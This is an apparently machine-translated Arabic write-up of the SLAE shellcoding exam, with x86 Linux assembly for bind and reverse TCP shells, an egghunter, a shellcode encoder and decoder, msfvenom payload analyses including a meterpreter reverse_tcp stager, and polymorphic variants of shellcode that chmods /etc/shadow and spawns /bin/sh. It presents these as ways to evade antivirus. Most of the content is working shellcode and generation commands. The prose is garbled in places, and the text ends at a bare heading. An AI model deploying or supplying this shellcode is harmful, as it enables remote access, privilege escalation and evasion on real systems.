SLAE - اختبار خبراء أمان Linux Linux

صورة

Security Linux Assembly Expert - دورة تدريبية عبر الإنترنت واختبار حول أساسيات لغة التجميع 32 بت من عائلة معالجات Intel في أنظمة Linux في سياق أمن المعلومات. ستكون الدورة مفيدة للمبتدئين ومهندسي أمن المعلومات وأي شخص يرغب في فهم أساسيات المجمّع ومعرفة كيفية كتابة أكواد قشرة بسيطة. بعد إكمال الدورة التدريبية ، ستتعلم كيفية استخدام مكالمات نظام Linux الأساسية وكتابة أكواد قشرة بسيطة والبدء في فهم المبادئ الأساسية لنظام التشغيل على مستوى النواة. ستغطي هذه المقالة المهام المطلوبة لاجتياز الاختبار لهذه الدورة .

وفقًا لشروط الاختبار ، يجب عليك إكمال 7 مهام:

  1. اكتب Shell Bind Shell
  2. اكتب Shell TCP العكسي
  3. تعامل مع تقنية egghunter وتقديم مثال على هذه التقنية
  4. اكتب برنامج تشفير
  5. تحليل 3 أكواد قشرة تم إنشاؤها بواسطة msfvenom باستخدام GDB / ndisasm / libemu
  6. قم بإجراء تحويل متعدد الأشكال من 3 أي كود قشرة وعاصفة قشرة.
  7. اكتب رمز تشفير

يجب التعليق على كل مهمة ، ومن المستحسن أيضًا توفير لقطات شاشة لعملية العمل عليها. لنبدأ في التحضير.

تدريب


الأتمتة هي كل شيء لدينا ، لذلك قبل الانتقال إلى المهام ، تحتاج إلى وصف البرامج النصية المستخدمة في إتقان الدورة واجتياز الاختبار. سوف يساعدون على توفير الوقت والجهد.

nasm32.sh

#!/bin/bash

if [ -z $1 ]; then
  echo "Usage ./nasm32 <nasmMainFile> (no extension)"
  exit
fi

if [ ! -e "$1.asm" ]; then
  echo "Error, $1.asm not found."
  echo "Note, do not enter file extensions"
  exit
fi

nasm -f elf $1.asm -o $1.o
ld -m elf_i386 -o $1 $1.o

يستخدم هذا البرنامج النصي لتجميع ملفات .asm وربطها بسرعة.

popcode.sh

#!/bin/bash

target=$1

objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s

سنستخدم هذا البرنامج النصي لطباعة الرمز بتنسيق سداسي عشري ، مع طباعة "\ x" قبل كل حرف. هذا ضروري لإدخال كود القشرة لدينا في ملف C.

hexopcode.sh

#!/bin/bash

target=$1

objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed -e 's!\\x!!g'

هنا كل شيء هو نفسه كما في البرنامج النصي أعلاه ، تتم طباعة الرمز فقط بدون "\ x". مطلوب لتمرير الرمز السداسي إلى البرنامج النصي التالي.

hex2stack.py

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import sys

if __name__ == '__main__':
	if len(sys.argv) != 2:
		print("Enter opcode in hex")
		sys.exit(0)

	string = sys.argv[1]

	reversed = [string[i:i+2] for i in range(0,len(string),2)][::-1]

	l = len(reversed) % 4
	if l:
		print("\tpush 0x" + "90"*(4-l) + "".join(reversed[0:l]))

	for p in range(l, len(reversed[l:]), 4):
		print("\tpush 0x" + "".join(reversed[p:p+4]))

لتسهيل العمل باستخدام التعليمات البرمجية ، يمكن دفعها إلى المكدس. يتم دفع البيانات إلى المكدس بالترتيب العكسي باستخدام الأمر push . يقوم البرنامج النصي أعلاه بتحويل السلسلة السداسية لوضعها على المكدس.

مثال:

$./stack_shell.py 31c0506a68682f626173682f62696e89e35089c25389e1b00bcd80
	push 0x9080cd0b
	push 0xb0e18953
	push 0xc28950e3
	push 0x896e6962
	push 0x2f687361
	push 0x622f6868
	push 0x6a50c031

uscompile.sh

#!/bin/bash

if [ -z $1 ]; then
  echo "Usage ./compile <cFile> (no extension)"
  exit
fi

if [ ! -e "$1.c" ]; then
  echo "Error, $1.c not found."
  echo "Note, do not enter file extensions"
  exit
fi

gcc -masm=intel -m32 -ggdb -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o $1 $1.c

يجمع هذا البرنامج النصي ملف C مع حماية مكدس معطلة. تعطيل الحماية للأغراض التعليمية.

shellcode.c

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"";

int main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

ملف C نفسه ، الذي نضع فيه كود القشرة لدينا.

مهام


1. اكتب قذيفة ربط TCP


سنكتب أبسط غلاف TCP-bind ، لذا في حالتنا يكون الترتيب كما يلي:

  1. نقوم بإنشاء مأخذ توصيل باستخدام استدعاء نظام مأخذ التوصيل () ؛ عند الإنشاء ، سيتم إعطاؤنا واصف مأخذ توصيل ، وهو رقم ؛
  2. بالنسبة للمقبس الذي تم إنشاؤه ، قم بتكوين المعلمات - البروتوكول والعنوان حيث سيتم "الاستماع" والمنفذ - وقم بإجراء مكالمة نظام bind () ، والتي ستصلح مأخذ التوصيل الخاص بنا بالمعلمات المحددة ؛
  3. ثم قم بإجراء مكالمة للاستماع () - مأخذ التوصيل "يستمع" للاتصالات الواردة ؛
  4. مجرد الاستماع إلى الاتصالات ليس كافيًا ، لذلك يجب قبولها ، وبالتالي - قبول () ؛
  5. بعد اتصال العميل بنا ، من الضروري إعادة توجيه الواصفات القياسية للمدخلات والمخرجات والأخطاء إلى العميل: تكرارها باستخدام dup2 () ؛
  6. والأخير: سوف نطلق على أمر الأوامر حيث سيتمكن العميل من تنفيذ الأوامر.

قبل الانتقال إلى كتابة رمز التجميع ، سيكون من المفيد تنفيذ المثال أعلاه في C.

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <stdio.h>

int main(void)
{
    int clientfd, sockfd;
    int port = 1234;
    struct sockaddr_in mysockaddr;

    // AF_INET - IPv4, SOCK_STREAM - TCP, 0 - most suitable protocol
    // AF_INET = 2, SOCK_STREAM = 1
    // create socket, save socket file descriptor in sockfd variable
    sockfd = socket(AF_INET, SOCK_STREAM, 0);

    // fill structure
    mysockaddr.sin_family = AF_INET; // can be represented in numeric as 2
    mysockaddr.sin_port = htons(port);
    //mysockaddr.sin_addr.s_addr = INADDR_ANY;// can be represented in numeric as 0 which means to bind to all interfaces
    mysockaddr.sin_addr.s_addr = inet_addr("192.168.0.106");
    // size of this array is 16 bytes
    //printf("size of mysockaddr: %lu\n", sizeof(mysockaddr));
    // executing bind() call
    bind(sockfd, (struct sockaddr *) &mysockaddr;, sizeof(mysockaddr));
    // listen()
    listen(sockfd, 1);
    // accept()
    clientfd = accept(sockfd, NULL, NULL);
    // duplicate standard file descriptors in client file descriptor
    dup2(clientfd, 0);
    dup2(clientfd, 1);
    dup2(clientfd, 2);
    // and last: execute /bin/sh. All input and ouput of /bin/sh will translated via TCP connection
    char * const argv[] = {"sh",NULL, NULL};
    execve("/bin/sh", argv, NULL);
    return 0;
}

حان الوقت لنقل كودنا إلى المجمع. لفهم الحجج التي لا تقبلها كل مكالمة فقط ، يمكنك الاطلاع على دليل لها: man <call>. في بعض الأحيان ، قد يحتوي اسم واحد على العديد من الأدلة المرجعية. سرد كل ما هو متاح: apropos <call>.

بعد ذلك: الرجل <رقم الدليل الذي يهمنا> <الاتصال>.

0.
نقوم بإعداد السجلات لا نعرف القيم الموجودة في السجلات في بداية عملنا معها ، لذلك نعيد تعيينها:

	section .text
global _start

_start:
	xor eax, eax
	xor ebx, ebx
	xor esi, esi

1. إنشاء مأخذ توصيل

في مكالمات النظام x86 ، لا توجد مكالمة مباشرة إلى مأخذ التوصيل (). يتم إجراء جميع المكالمات بشكل غير مباشر من خلال طريقة socketcall (). تأخذ هذه المكالمة وسيطتين: رقم استدعاء مأخذ التوصيل ومؤشر إلى وسيطاته. يمكن العثور على قائمة مكالمات مأخذ التوصيل المحتملة في الملف: /usr/include/linux/net.h

	; creating socket. 3 args
	push esi	; 3rd arg, choose default proto
	push 0x1	; 2nd arg, 1 equal SOCK_STREAM, TCP
	push 0x2	; 1st arg, 2 means Internet family proto
	; calling socket call for socket creating
	mov al, 102	; socketcall
	mov bl, 1	; 1 = socket()
	mov ecx, esp	; pointer to args of socket()
	int 0x80
	; in eax socket file descriptor. Save it
	mov edx, eax

2. تحديد معلمات مأخذ التوصيل الذي تم إنشاؤه وتنفيذ ربط ().

توضح الصورة أدناه كيفية دفع معلمات المقبس إلى المكدس.

اضطررت لقضاء بعض الوقت لمعرفة الشكل الذي يتم فيه وضع معلمات مأخذ التوصيل على المكدس:

صورة

	; creating sockaddr_in addr struct for bind
	push esi		; address, 0 - all interfaces
	push WORD 0xd204	; port 1234.
	push WORD 2		; AF_INET
	mov ecx, esp		; pointer to sockaddr_in struct
	push 0x16		; size of struct
	push ecx		; pushing pointer to struct
	push edx		; pushing socket descriptor
	; socketcall
	mov al, 102
	mov bl, 2		; bind()
	mov ecx, esp
	int 0x80

لتغيير المنفذ ، يمكنك تشغيل الأمر:

$python3 -c "import socket; print(hex(socket.htons(<int:port>)))"

وإذا كنت تريد تحديد عنوان محدد يستمع إليه مقبسنا:

$python3 -c 'import ipaddress; d = hex(int(ipaddress.IPv4Address("<IPv4 address>"))); print("0x"+"".join([d[i:i+2] for i in range(0,len(d),2)][1:][::-1]))'

3. الاستماع إلى المكالمات ()

	; creating listen
	push 1
	push edx
	; calling socketcall
	mov al, 102
	mov bl, 4		; listen()
	mov ecx, esp
	int 0x80

4. قبول المكالمة ()

	; creating accept()
	push esi
	push esi
	push edx
	; calling socketcall
	mov al, 102
	mov bl, 5		; accept()
	mov ecx, esp
	int 0x80

	mov edx, eax		; saving client file descriptor

5. استنساخ الواصفات القياسية.

	; dup2 STDIN, STDOUT, STDERR
	xor ecx, ecx
	mov cl, 3
	mov ebx, edx
dup:	dec ecx
	mov al, 63
	int 0x80
	jns dup

6. استدعاء shell الأوامر

	; execve /bin/sh
	xor eax, eax
	push eax
	push 0x68732f2f
	push 0x6e69622f
        mov ebx, esp
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp
        mov al, 11
        int 0x80

الآن ضع كل شيء معًا

	section .text
global _start

_start:
	; clear registers
	xor eax, eax
	xor ebx, ebx
	xor esi, esi
	; creating socket. 3 args
	push esi	; 3rd arg, choose default proto
	push 0x1	; 2nd arg, 1 equal SOCK_STREAM, TCP
	push 0x2	; 1st arg, 2 means Internet family proto
	; calling socket call for socket creating
	mov al, 102	; socketcall
	mov bl, 1	; 1 = socket()
	mov ecx, esp	; pointer to args of socket()
	int 0x80
	; in eax socket file descriptor. Save it
	mov edx, eax

	; creating sockaddr_in addr struct for bind
	push esi		; address, 0 - all interfaces
	push WORD 0xd204	; port 1234.
	push WORD 2		; AF_INET
	mov ecx, esp		; pointer to sockaddr_in struct
	push 0x16		; size of struct
	push ecx		; pushing pointer to struct
	push edx		; pushing socket descriptor
	; socketcall
	mov al, 102		; socketcall() number
	mov bl, 2		; bind()
	mov ecx, esp		; 2nd argument - pointer to args
	int 0x80

	; creating listen
	push 1			; listen for 1 client
	push edx		; clients queue size
	; calling socketcall
	mov al, 102
	mov bl, 4		; listen()
	mov ecx, esp
	int 0x80

	; creating accept()
	push esi		; use default value
	push esi		; use default value
	push edx		; sockfd
	; calling socketcall
	mov al, 102
	mov bl, 5		; accept()
	mov ecx, esp
	int 0x80

	mov edx, eax		; saving client file descriptor

	; dup2 STDIN, STDOUT, STDERR
	xor ecx, ecx		; clear ecx
	mov cl, 3		; number of loops
	mov ebx, edx		; socketfd
dup:	dec ecx
	mov al, 63		; number of dup2 syscall()
	int 0x80
	jns dup			; repeat for 1,0

	; execve /bin/bash
	xor eax, eax		; clear eax
	push eax		; string terminator
	push 0x68732f2f		; //bin/sh
	push 0x6e69622f
        mov ebx, esp		; 1st arg - address of //bin/sh
        push eax		; 
        mov edx, eax		; last argument is zero
        push ebx		; 2nd arg - pointer to all args of command
        mov ecx, esp		; pointer to args
        mov al, 11		; execve syscall number
        int 0x80

الآن نأخذ كود تشغيل كود القشرة المستلم ، وننقله إلى قالب ملف C الخاص بنا ، ونجمع ونعمل:

صورة

2. عكس برنامج TCP Shell


هذه المهمة في تنفيذها مشابهة جدًا للمهمة السابقة ، باستثناء أننا سنقبل اتصالًا واردًا. خوارزمية عامة:

1. إنشاء مأخذ.
2. تعيين معلمات الاتصال: البروتوكول ، المضيف ، المنفذ ؛
3. واصفات ملف مكررة ؛
4. استدعاء shell الأمر.

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>

int main ()
{
    const char* ip = "192.168.0.106";	// place your address here
    struct sockaddr_in addr;

    addr.sin_family = AF_INET;
    addr.sin_port = htons(4444);	// port
    inet_aton(ip, &addr;.sin_addr);

    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    connect(sockfd, (struct sockaddr *)&addr;, sizeof(addr));

    /* duplicating standard file descriptors */
    for (int i = 0; i < 3; i++)
    {
        dup2(sockfd, i);
    }

    execve("/bin/sh", NULL, NULL);

 

نترجم إلى المجمع

	section .text
global _start

_start:
	; creating socket
	xor eax, eax
	xor esi, esi
	xor ebx, ebx
	push esi
	push 0x1
	push 0x2
	; calling socket call for socket creating
	mov al, 102
	mov bl, 1
	mov ecx, esp
	int 0x80
	mov edx, eax

	; creating sockaddr_in and connect()
	push esi
	push esi
	push 0x6a00a8c0		; IPv4 address to connect
	push WORD 0x5c11	; port
	push WORD 2
	mov ecx, esp
	push 0x16
	push ecx
	push edx
	; socketcall()
	mov al, 102
	mov bl, 3		; connect()
	mov ecx, esp
	int 0x80

	; dup2 STDIN, STDOUT, STDERR
	xor ecx, ecx
	mov cl, 3
	mov ebx, edx
dup:	dec ecx
	mov al, 63
	int 0x80
	jns dup

	; execve /bin/sh
	xor eax, eax
	push eax
	push 0x68732f2f
	push 0x6e69622f
        mov ebx, esp
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp
        mov al, 11
        int 0x80

ثم:

$nasm32 reverse_tcp_shell

يمكنك تغيير عنوان الاتصال أو المنفذ باستخدام أوامر مماثلة (المهمة 1)
النتيجة

صورة

3. تقنية egghunter


تتمثل تقنية egghunter في تحديد المنطقة المحددة في "بيضة عيد الفصح" في الذاكرة ، والتي نعرف معناها مسبقًا ، ونقل التحكم إلى الرمز الذي يلي "egg". هذه التقنية مفيدة عندما لا نعرف عنوان الموقع الدقيق لرمز القشرة لدينا.

لتوضيح هذا المثال:

  1. نضع "القمامة" على المكدس.
  2. ضع كود القشرة على المكدس ؛
  3. ضع بيضة عيد الفصح على المكدس ؛
  4. أضف المزيد من القمامة.

لإنشاء "القمامة" نستخدم البرنامج النصي التالي:

#!/usr/bin/python3

import random

rdm = bytearray(random.getrandbits(8) for _ in range(96))
for i in range(0,len(rdm),4):
	bts = rdm[i:i+4]
	print("\tpush 0x" + ''.join('{:02x}'.format(x) for x in bts))

سنبحث عن كود القشرة:

	; execve_sh
global _start

section .text
_start:

        ; PUSH 0
        xor eax, eax
        push eax

        ; PUSH //bin/sh (8 bytes)
	push 0x68732f2f
	push 0x6e69622f

        mov ebx, esp

        push eax
        mov edx, eax

        push ebx
        mov ecx, esp

        mov al, 11
        int 0x80

يجب تجميع كود القشرة هذا ، وأخذ كود التشغيل الخاص به ووضعه على المكدس.

ونتيجة لذلك ، سننجح:

section .text
global _start

_start:
	; trash
	push 0x94047484
	push 0x8c35f24a
	push 0x5a449067
	push 0xf5a651ed
	push 0x7161d058
	push 0x3b7b4e10
	push 0x9f93c06e
	; shellcode execve() /bin/sh
	push 0x9080cd0b
	push 0xb0e18953
	push 0xe28950e3
	push 0x896e6962
	push 0x2f687361
	push 0x622f6868
	push 0x6a50c031
	; egg
	push 0xdeadbeef
	; trash
        push 0xd213a92d
        push 0x9e3a066b
        push 0xeb8cb927
        push 0xddbaec55
        push 0x43a73283
        push 0x89f447de
        push 0xacfb220f


	mov ebx, 0xefbeadde	; egg in reverse order
        mov esi, esp
        mov cl, 200		; change this value for deeper or less searching

find:   lodsb			; read byte from source - esi
        cmp eax, ebx		; is it egg?
        jz equal		; if so, give control to shellcode
	shl eax, 8		; if not, shift one byte left
        loop find		; repeat

	xor eax, eax		; if there is no egg - exit
        mov al, 1
	xor ebx, ebx
        mov bl, 10
        int 0x80

equal: jmp esi			; jmp to shellcode

صورة

يمكنك استبدال loop find ببيان find jmp ، لكن هذا يمكن أن يؤدي إلى خطأ في البرنامج. يمكنك أيضًا إنشاء معالج لهذا الاستثناء ، في الحالة العامة ، الكود الخاص بنا كافٍ. في بعض الأحيان قد يكون من الضروري العثور على "بيضة عيد الفصح" مستلقية في اتجاه مختلف للذاكرة ، ثم تحتاج إلى تغيير قيمة علم الاتجاه ، ويمكنك استخدام jmp esi + offset لنقل التحكم إلى كود القشرة.

4. اكتب برنامج التشفير


في حالتنا ، يتكون الترميز من تعديل شفرة المصدر لرمز القشرة دون استخدام المعلومات اللازمة لفك التشفير العكسي ، والذي يميز هذه العملية عن عملية التشفير. قررت إتمام هذه المهمة ، كما أعرف ، ولكن مع بعض التعقيدات: بين البايتات المطلوبة من كود القشرة يوجد عدد عشوائي (من 1 إلى 5) بايت من القمامة. لإنشاء كود القشرة المشفر ، كتبت النص التالي:

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import sys
import random

if len(sys.argv) != 2:
        print("Enter opcode in hex")
        sys.exit(0)

opcode = sys.argv[1]
encoded = ""

b1 = bytearray.fromhex(opcode)

# Generates random value from 1 to 5 of 'aa' string
for x in b1:
        t = 'aa' * random.randint(1,5)
        encoded += '%02x' % x + t

print(encoded)

يتم دفع النتيجة إلى المكدس:

$./hex2stack.py $(./encoder.py $(hexopcode execve_sh))

استنتاج:

	push 0x909090aa
	push 0xaaaaaaaa
	push 0x80aaaaaa
	push 0xaacdaaaa
	push 0xaaaa0baa
	push 0xaaaaaaaa
	push 0xb0aaaaaa
	push 0xaae1aaaa
	push 0xaaaaaa89
	push 0xaaaaaa53
	push 0xaaaaaac2
	push 0xaa89aaaa
	push 0xaaaa50aa
	push 0xaaaaaaaa
	push 0xe3aaaa89
	push 0xaaaa6eaa
	push 0xaa69aaaa
	push 0xaaaa62aa
	push 0xaaaaaa2f
	push 0xaa68aaaa
	push 0x68aaaaaa
	push 0xaaaa73aa
	push 0xaaaa2faa
	push 0xaa2faaaa
	push 0xaa68aaaa
	push 0x50aaaaaa
	push 0xaaaac0aa
	push 0xaaaaaa31

انتبه إلى الجزء الأول 0x909090aa. أول بايت 90 على اليمين هو نهاية كود القشرة المشفر الخاص بنا. بالطبع ، يمكنك تحديد أي قيمة صالحة أخرى للإشارة إلى نهاية كود القشرة.

رمز وحدة فك الترميز:

	section .text
	global _start
_start:
	; encoded shellcode
	push 0x909090aa
	push 0xaaaaaaaa
	push 0x80aaaaaa
	push 0xaacdaaaa
	push 0xaaaa0baa
	push 0xaaaaaaaa
	push 0xb0aaaaaa
	push 0xaae1aaaa
	push 0xaaaaaa89
	push 0xaaaaaa53
	push 0xaaaaaac2
	push 0xaa89aaaa
	push 0xaaaa50aa
	push 0xaaaaaaaa
	push 0xe3aaaa89
	push 0xaaaa6eaa
	push 0xaa69aaaa
	push 0xaaaa62aa
	push 0xaaaaaa2f
	push 0xaa68aaaa
	push 0x68aaaaaa
	push 0xaaaa73aa
	push 0xaaaa2faa
	push 0xaa2faaaa
	push 0xaa68aaaa
	push 0x50aaaaaa
	push 0xaaaac0aa
	push 0xaaaaaa31

	; prepare registers for decoding
	mov esi, esp
	mov edi, esp
	mov bl, 0xaa

decoder:
	lodsb		; read byte from stack
	cmp al, bl	; check: is it trash byte?
	jz loopy	; if so, repeat
	cmp al, 0x90	; is it end of shellcode?
	jz exec		; if so, go to start of shellcode
	stosb		; if not, place byte of shellcode into stack
loopy:	jmp decoder	; repeat

exec:	jmp esp		; give flow control to shellcode

إذا لم يكن كود القشرة يحتوي على تعليمات عدم (0x90) ، فيمكن تحديد هذا البايت كعلامة لنهاية كود القشرة. في حالات أخرى ، يجب عليك استخدام قيمة مختلفة.
نتيجة:

صورة

5. تحليل الكودات الناتجة عن msfvenom باستخدام GDB / libemu / ndisasm


في هذا القسم ، سنقوم بتحليل أكواد القشرة التي تم الحصول عليها بواسطة الأداة المعروفة - msfvenom.

1. إضافة مستخدم
أمر توليد كود القشرة:

msfvenom -a x86 --platform linux -p linux/x86/adduser -f c > adduser.c

هناك العديد من الخيارات لتحليل كود قشرة GDB الناتج ، قررت استخدام طريقة مناسبة لي - لوضع الرمز على المكدس وتحليله.

$ cat adduser.c | grep -Po "\\\x.." | tr -d '\n' | sed -e 's!\\x!!g' ; echo
31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80

$ python3 hex2stack.py 31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80
out:
	push 0x90909080
	push 0xcd58016a
	push 0x80cd5804
	...

سنحلل الملف التالي:

	section .text
	global _start
_start:
	push 0x90909080
	push 0xcd58016a
	push 0x80cd5804
	push 0x6afc518b
	push 0x590a6873
	push 0x2f6e6962
	push 0x2f3a2f3a
	push 0x3a303a30
	push 0x3a635249
	push 0x3470346a
	push 0x7349642f
	push 0x7a413a74
	push 0x696f6c70
	push 0x73617465
	push 0x6d000000
	push 0x28e89380
	push 0xcd04b541
	push 0xe3896374
	push 0x652f6861
	push 0x702f2f68
	push 0x64777373
	push 0x6851c931
	push 0x58056a80
	push 0xcd58466a
	push 0xcb89c931
	jmp esp

صورة

أول شيء يقوم به shellcode هو جعل setreuid () مع المعلمات (0،0): يجب أن يكون لرمز shell امتيازات الجذر. بعد ذلك يفتح الملف / etc / passwd. في الكود ، بعد فتح الملف ، يتم استخدام تعليمات المكالمة. باتباع هذه التعليمات ، سيضع المعالج الأمر التالي على المكدس. في حالتنا ، يتبع هذا الأمر سطر بمعلمات المستخدم - وبعد ذلك ستتم كتابة هذا السطر إلى الملف. تسمح لك هذه الطريقة باستخدام أي بيانات للكتابة إلى ملف.

2. exec whoami لقد توصلنا
إلى الملف ، والآن دعنا نرى كيف يتم تنفيذ الأوامر.
إنشاء كود قشرة:

msfvenom -a x86 --platform linux -p linux/x86/exec CMD="whoami" -f raw> exec_whoami.bin

لتحليل الكود ، قم بتنفيذ:

$sctest -vv -S -s 10000 -G shell.dot < exec_whoami.bin

[emu 0x0x16c8100 debug ] 6A0B                            push byte 0xb
; execve()		
[emu 0x0x16c8100 debug ] 58                              pop eax		
[emu 0x0x16c8100 debug ] 99                              cwd
; in this case - set to 0 due to cwd and small eax
[emu 0x0x16c8100 debug ] 52                              push edx		
; "-c"
[emu 0x0x16c8100 debug ] 66682D63                        push word 0x632d	
; address of "-c"
[emu 0x0x16c8100 debug ] 89E7                            mov edi,esp		
; /bin/sh
[emu 0x0x16c8100 debug ] 682F736800                      push dword 0x68732f	
[emu 0x0x16c8100 debug ] 682F62696E                      push dword 0x6e69622f
; 1st arg of execve()
[emu 0x0x16c8100 debug ] 89E3                            mov ebx,esp		
; null
[emu 0x0x16c8100 debug ] 52                              push edx		
; place "whoami" in stack
[emu 0x0x16c8100 debug ] E8                              call 0x1		
; push "-c"
[emu 0x0x16c8100 debug ] 57                              push edi		
; push "/bin/sh"
[emu 0x0x16c8100 debug ] 53                              push ebx		
; 2nd argument of execve() 
; pointer to args
[emu 0x0x16c8100 debug ] 89E1                            mov ecx,esp		
; execute execve()
[emu 0x0x16c8100 debug ] CD80                            int 0x80		

صورة

يتم استخدام تعليمات الاستدعاء أيضًا لتنفيذ الأمر ، مما يجعل من السهل تغيير الأمر القابل للتنفيذ.

3. عكس

الأمر TCP متر متر لتوليد الحمولة

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=4444 -f raw > meter_revtcp.bin

ثم

ndisasm -u meter_revtcp.bin

كود مع التعليقات
00000000  6A0A              push byte +0xa
00000002  5E                pop esi			; place 10 in esi
00000003  31DB              xor ebx,ebx			; nullify ebx
00000005  F7E3              mul ebx
00000007  53                push ebx			; push 0
00000008  43                inc ebx			; 1 in ebx
00000009  53                push ebx			; push 1
0000000A  6A02              push byte +0x2		; push 2
0000000C  B066              mov al,0x66			; mov socketcall
0000000E  89E1              mov ecx,esp			; address of argument
00000010  CD80              int 0x80			; calling socketcall() with socket()
00000012  97                xchg eax,edi		; place sockfd in edi
00000013  5B                pop ebx			; in ebx 1
00000014  68C0A80066        push dword 0x6600a8c0	; place IPv4 address connect to
00000019  680200115C        push dword 0x5c110002	; place port and proto family
0000001E  89E1              mov ecx,esp
00000020  6A66              push byte +0x66
00000022  58                pop eax			; socketcall()
00000023  50                push eax
00000024  51                push ecx			; addresss of sockaddr_in structure
00000025  57                push edi			; sockfd
00000026  89E1              mov ecx,esp			; address of arguments
00000028  43                inc ebx
00000029  CD80              int 0x80			; call connect()
0000002B  85C0              test eax,eax		; 
0000002D  7919              jns 0x48			; if connect successful - jmp
0000002F  4E                dec esi			; in esi 10 - number of attempts to connect
00000030  743D              jz 0x6f			; if zero attempts left - exit
00000032  68A2000000        push dword 0xa2
00000037  58                pop eax
00000038  6A00              push byte +0x0
0000003A  6A05              push byte +0x5
0000003C  89E3              mov ebx,esp
0000003E  31C9              xor ecx,ecx
00000040  CD80              int 0x80			; wait 5 seconds
00000042  85C0              test eax,eax
00000044  79BD              jns 0x3
00000046  EB27              jmp short 0x6f
00000048  B207              mov dl,0x7			; mov dl 7 - read, write, execute for mprotect() memory area
0000004A  B900100000        mov ecx,0x1000		; 4096 bytes
0000004F  89E3              mov ebx,esp
00000051  C1EB0C            shr ebx,byte 0xc
00000054  C1E30C            shl ebx,byte 0xc		; nullify 12 lowest bits
00000057  B07D              mov al,0x7d			; mprotect syscall
00000059  CD80              int 0x80
0000005B  85C0              test eax,eax
0000005D  7810              js 0x6f			; if no success with mprotect -> exit
0000005F  5B                pop ebx			; if success put sockfd in ebx
00000060  89E1              mov ecx,esp
00000062  99                cdq
00000063  B60C              mov dh,0xc
00000065  B003              mov al,0x3			; read data from socket
00000067  CD80              int 0x80
00000069  85C0              test eax,eax
0000006B  7802              js 0x6f
0000006D  FFE1              jmp ecx			; jmp to 2nd part of shell
0000006F  B801000000        mov eax,0x1
00000074  BB01000000        mov ebx,0x1
00000079  CD80              int 0x80

ينشئ هذا الرمز مقبسًا ، ويحاول الاتصال بعنوان IP المحدد على المنفذ المحدد ، وينشئ منطقة ذاكرة ويحاول قراءة الجزء الثاني من كود القشرة من المقبس والكتابة إلى منطقة الذاكرة المخصصة. إذا فشل الاتصال ، ينتظر البرنامج 5 ثوانٍ ويعيد المحاولة. بعد عدة محاولات فاشلة أو في حالة حدوث استثناءات أخرى ، توقف عملها.

6. إجراء تحويل متعدد الأشكال من 3 قذائف من العاصفة قذيفة.


التحول متعدد الأشكال هو تحول يتغير فيه كود كود القشرة ويتم الحفاظ على المنطق. مثال:

xor eax ، سيقوم eax بإعادة تعيين التسجيلات ، و
sub eax ، وسوف يعيد eax أيضًا تسجيل السجلات.

سيكون الفرق بين الخيارين في الأداء: سيتم تشغيل الأول بشكل أسرع قليلاً. يغير التحويل المتعدد الأشكال توقيع كود القشرة ، والذي يمكن أن يساعد في إخفاء كود القشرة من مضاد الفيروسات.

1. chmod / الخ / الظل

	; http://shell-storm.org/shellcode/files/shellcode-608.php
	; Title: linux/x86 setuid(0) + chmod("/etc/shadow", 0666) Shellcode 37 Bytes
	; length - 40 bytes
	section .text

global _start

_start:
	sub ebx, ebx	; replaced
	push 0x17	; replaced
	pop eax		; replaced
	int 0x80
	sub eax, eax	; replaced
	push eax	; on success zero
	push 0x776f6461
        push 0x68732f63
        push 0x74652f2f
	mov ebx, esp
	mov cl, 0xb6	; replaced
	mov ch, 0x1	; replaced
        add al, 15	; replaced
        int 0x80
        add eax, 1	; replaced
        int 0x80

يستدعي كود القشرة هذا setuid () مع المعلمات 0،0 (يحاول الحصول على حقوق الجذر) ثم ينفذ chmod () لملف / etc / shadow.

صورة

في بعض الحالات ، يمكن تنفيذ كود القشرة هذا بدون إعادة ضبط السجلات.


	section .text
global _start

_start:
	push 0x17	; replaced
	pop eax		; replaced
	int 0x80
	push eax	; on success zero
	push 0x776f6461
        push 0x68732f63
        push 0x74652f2f
	mov ebx, esp
	mov cl, 0xb6	; replaced
	mov ch, 0x1	; replaced
        add al, 15	; replaced
        int 0x80
        add eax, 1	; replaced
        int 0x80

بعد "جمع" هذا الرمز من خلال asm ، وليس من خلال ملف C ، يمكن تنفيذه بنجاح.

2. execve / بن / ش

	; http://shell-storm.org/shellcode/files/shellcode-251.php
	; (Linux/x86) setuid(0) + setgid(0) + execve("/bin/sh", ["/bin/sh", NULL]) 37 bytes
	; length - 45 byte
	section .text
global _start
_start:
	push 0x17
	mov eax, [esp]	; replaced
	sub ebx, ebx	; replaced
	imul edi, ebx	; replaced
	int 0x80

	push 0x2e
	mov eax, [esp]	; replaced
	push edi 	; replaced
	int 0x80

	sub edx, edx	; replaced
	push 0xb
	pop eax
	push edi	; replaced
	push 0x68732f2f
	push 0x6e69622f
	lea ebx, [esp]	; replaced
	push edi	; replaced
	push edi	; replaced
	lea esp, [ecx]	; replaced
	int 0x80

صورة

تم النظر في كود القشرة هذا بالفعل أكثر من مرة في الأمثلة أعلاه. لا يتطلب تفسيرات خاصة.

3. ربط كود shell TCP مع المرحلة الثانية

